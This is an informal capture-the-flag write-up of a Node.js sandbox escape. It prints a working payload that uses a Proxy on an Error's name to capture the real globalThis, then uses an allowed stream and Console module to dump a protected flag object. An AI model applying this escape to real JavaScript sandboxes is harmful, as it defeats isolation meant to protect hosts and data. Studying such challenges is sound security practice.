huge huge cheese
please read jscripting writeup before this
same as jscripting but there is some weird stuff
this time, there is no changing globalThis to have globalThis.module.require = require
or whatever. however, the top of the worker.js file had some bytecode run first
const { workerData, parentPort } = require('worker_threads');
require("./worker_globals.js");
const { runBytecodeFile } = require("./bytecode.js")
globalThis.require = require;
runBytecodeFile("./utils.jsc")();
i don't exactly know what it did since it was javascript bytecode. basically, i blackboxed this
we cant run our exploit from before
we can see what keys globalThis
still has left by using Object.keys(globalThis)
we have a secureRequire
. hmmmmmm
so i tried running secureRequire
with all of the module names that were whitelisted from the previous challenge, and all of them are allowed except for util
.
essentially, the whitelist was:
const whitelist = [
"crypto",
"path",
"buffer",
"worker_threads",
"stream",
"string_decoder",
"console",
"perf_hooks"
];
one interesting thing i noticed was that the javascript console let me see the proxy object even though i cant read it from js code
i took a look at the console
module in node.js docs to try to find a similar thing to just use debug functions on the flag
anyways, we have console.dir
hey, our old friend util.inspect
! however, it prints this to stdout, which we cant read.
the solution is to create our own Console object and then use .dir
on it to get it to a stream we control.
we can do this because secureRequire('stream')
is allowed, so we can just create streams as we want
here is the idea:
let q = e.secureRequire;
let total = "";
let readable = q("stream").Readable({read(size) {}});
let writable = q("stream").Writable({write(chunk, encoding, callback) {total += chunk.toString(); callback();}});
readable.pipe(writable);
readable.on('data', chunk => {
total += chunk.toString();
});
new q("console").Console(writable).dir(e.storage);
return total;
here, e
is the globalThis
object.
putting this into our payload template:
(() => {const err = new Error();err.name = {toString: new Proxy(() => "", {apply(target, thiz, args) {const process = args.constructor.constructor("return globalThis")();throw process;},}),};try{err.stack;}catch(e){
let q = e.secureRequire;
let total = "";
let readable = q("stream").Readable({read(size) {}});
let writable = q("stream").Writable({write(chunk, encoding, callback) {total += chunk.toString(); callback();}});
readable.pipe(writable);
readable.on('data', chunk => { total += chunk.toString();});
new q("console").Console(writable).dir(e.storage);
return [...total];
}})()
and we get the flag
i think the intended was to rev the jsc
file or whatever but idk how to do that so oh well